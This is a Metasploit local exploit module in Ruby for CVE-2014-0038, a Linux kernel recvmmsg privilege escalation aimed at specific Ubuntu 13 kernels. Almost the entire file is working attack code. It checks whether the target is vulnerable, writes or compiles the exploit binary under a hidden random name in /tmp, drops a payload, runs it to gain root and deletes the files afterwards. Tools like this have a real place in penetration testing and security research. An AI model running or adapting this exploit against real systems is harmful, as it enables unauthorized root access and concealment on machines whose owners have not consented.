##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Kernel recvmmsg Privilege Escalation',
        'Description' => %q{
          This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
          system call with a crafted timeout pointer parameter to gain root.

          This exploit has offsets for 3 Ubuntu 13 kernels:
          3.8.0-19-generic (13.04 default);
          3.11.0-12-generic (13.10 default);
          3.11.0-15-generic (13.10).

          This exploit may take up to 13 minutes to run due to a decrementing
          (1/sec) pointer which starts at 0xff*3 (765 seconds)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <mike@shorebreaksecurity.com>', # Metasploit module
          'rebel' # Discovery and exploit
        ],
        'DisclosureDate' => '2014-02-02',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true },
        'References' => [
          [ 'BID', '65255' ],
          [ 'CVE', '2014-0038' ],
          [ 'EDB', '31347' ],
          [ 'EDB', '31346' ],
          [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900' ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data
    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    output = cmd_exec gcc_cmd
    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    cmd_exec "chmod +x #{path}"
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', file)
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    version = kernel_version
    unless version.include? 'Ubuntu'
      vprint_error "System kernel #{version} is not based on Ubuntu"
      return CheckCode::Safe
    end
    vprint_good 'System kernel is based on Ubuntu'

    # Ubuntu 12.x kernels are not supported
    if version.include? 'precise'
      vprint_error "System kernel #{version} is not exploitable"
      return CheckCode::Safe
    end

    release = kernel_release
    unless release =~ /^3\.11\.0-(12|15)-generic/ || release.eql?('3.8.0-19-generic')
      vprint_error "Kernel #{release} #{version} is not exploitable"
      return CheckCode::Safe
    end
    vprint_good "Kernel #{release} #{version} is exploitable"

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, strip_comments(exploit_data('recvmmsg.c'))
      rm_f "#{executable_path}.c"
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('recvmmsg')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    timeout = 780
    print_status "Launching exploit... May take up to 13 minutes. Start time: #{Time.now}"
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
    print_status "Cleaning up #{payload_path} and #{executable_path}..."
    rm_f executable_path
    rm_f payload_path
  end
end